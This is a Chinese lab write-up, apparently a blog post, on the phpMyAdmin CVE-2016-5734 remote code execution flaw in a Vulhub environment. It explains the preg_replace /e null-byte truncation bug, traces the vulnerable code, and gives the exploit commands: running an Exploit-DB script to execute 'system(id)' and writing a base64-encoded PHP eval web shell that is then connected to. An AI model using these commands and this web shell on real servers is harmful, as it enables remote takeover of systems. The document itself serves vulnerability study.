[Vulhub](CVE-2016-5734)phpmyadmin 4.0.x-4.6.2远程执行代码漏洞

0x00 漏洞描述

该漏洞在preg_replace函数中,因为用户提交的信息可以被拼接到第一个参数中。该函数时执行一个正则表达式并实现字符串的搜索和替换。

preg_replace ( string|array $pattern , string|array $replacement , string|array $subject , int $limit = -1 , int &$count = null ) : string|array|null
搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换。
参数:

  • pattern:要搜索的模式。可以是一个字符串或字符串数组;
  • replacement:用于替换的字符串或字符串数组;
  • subject:要进行搜索和替换的字符串或字符串数组;
  • limit:每个模式再每个subject上进行替换的最大次数;
  • count:如果指定,将会被填充为完成的替换次数。
    该函数的返回值:当subject为一数组的情况下返回一个数组,其余情况返回字符串。匹配成功则将替换后的subject被返回,不成功则返回没有改变的subject,发生语法错误等,返回NULL。

在PHP5.4.7以前,preg_replace的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞:

  1. 第一个参数需要 e 标识符号,有了它可以执行第二个参数的命令;
  2. 第一个参数需要再第三个参数中有匹配,不然echo会返回第三个参数而不执行命令。

0x01 影响范围

php < 5.4.7
4.0.10.16之前4.0.x版本
4.4.15.7之前4.4.x版本
4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)


0x02 漏洞成因

找到preg_replace()函数的调用位置,发现存在漏洞的文件代码是TableSearch.class.php

function _getRegexReplaceRows($columnIndex, $find, $replaceWith, $charSet)
{
    $column = $this->_columnNames[$columnIndex];
    $sql_query = "SELECT "
        . PMA_Util::backquote($column) . ","
        . " 1," // to add an extra column that will have replaced value
        . " COUNT(*)"
        . " FROM " . PMA_Util::backquote($this->_db)
        . "." . PMA_Util::backquote($this->_table)
        . " WHERE " . PMA_Util::backquote($column)
        . " RLIKE '" . PMA_Util::sqlAddSlashes($find) . "' COLLATE "
        . $charSet . "_bin"; // here we
        // change the collation of the 2nd operand to a case sensitive
        // binary collation to make sure that the comparison is case sensitive
    $sql_query .= " GROUP BY " . PMA_Util::backquote($column)
        . " ORDER BY " . PMA_Util::backquote($column) . " ASC";

    $result = $GLOBALS['dbi']->fetchResult($sql_query, 0);

    if (is_array($result)) {
        foreach ($result as $index=>$row) {
            $result[$index][1] = preg_replace(
                "/" . $find . "/",
                $replaceWith,
                $row[0]
            );
        }
    }
    return $result;
}

可以发现_getRegexReplaceRows()函数中将find参数传入,并将find参数作为preg_replace()函数的第一个参数使用;要构造payload就要将这三个参数溯源查看。

首先对_getRegexReplaceRows()函数进行溯源,同一文件下_getRegexReplaceRows()getReplacePreview这个方法调用,并且find参数和replacement参数都是经过该方法所传递,对这个函数进行溯源:

function getReplacePreview($columnIndex, $find, $replaceWith, $useRegex,
        $charSet
    ) {
        $column = $this->_columnNames[$columnIndex];
        if ($useRegex) {
            $result = $this->_getRegexReplaceRows(
                $columnIndex, $find, $replaceWith, $charSet
            );
        }

发现getReplacePreviewtbl_find_replace.php中使用,并且findreplaceWith参数经POST方法进行传递。

if (isset($_POST['find'])) {
	$preview = $table_search -> getReplacePreview(
		$_POST['columnIndex'],
		$_POST['find'],
		$_POST['replaceWith'],
		$_POST['useRegex'],
		$connectionCharSet
	);
	$response->addJSON('preview', $preview);
	exit;
}

至此参数与函数溯源完毕,接下来就是利用构造。


0x03 漏洞复现

这个漏洞目前没办法直接利用,因为有token限制,需要登陆抓到token,同时需要构造第三个参数保证和第一个参数匹配上,第一个参数可控而第三个参数是从数据库中取出的,所以只能提前插入到数据库中然后再取出来,columnIndex是取出的字段值可控,所以第三个参数也可控了,

需要登录且能够写入数据,先创建个表,然后表中插入个字段值为"0/e";

利用构造如下:

$find = '0/e';
$fromsqldata = '0/e';
echo preg_replace("/".$find."\0/", $_POST["replaceWith"], $fromsqldate);

// 组后之后类似于:
echo preg_replace('/0/e', 'system(id)', '0/e');

这里直接使用kali自带exp:

searchsploit phpmyadmin

在这里插入图片描述
通过exp执行id命令:

python3 40185.py -u root --pwd="root" http://xx.xx.xx.xx:8080/ -c 'system(id);'

在这里插入图片描述
代码执行成功


0x04 getshell

通过exp写入一句话木马:

python3 40185.py -u root --pwd="root" http://172.16.10.71:8080/ -c "file_put_contents('shell.php',base64_decode('PD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pOz8+'));"

在这里插入图片描述
这里显示失败不用管,实际上木马已经写入,进入docker容器查看:
在这里插入图片描述
验证,访问木马地址:
在这里插入图片描述

使用菜刀成功连接:
在这里插入图片描述


参考链接:
https://www.jianshu.com/p/8e44cb1b5b5b(phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞)

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值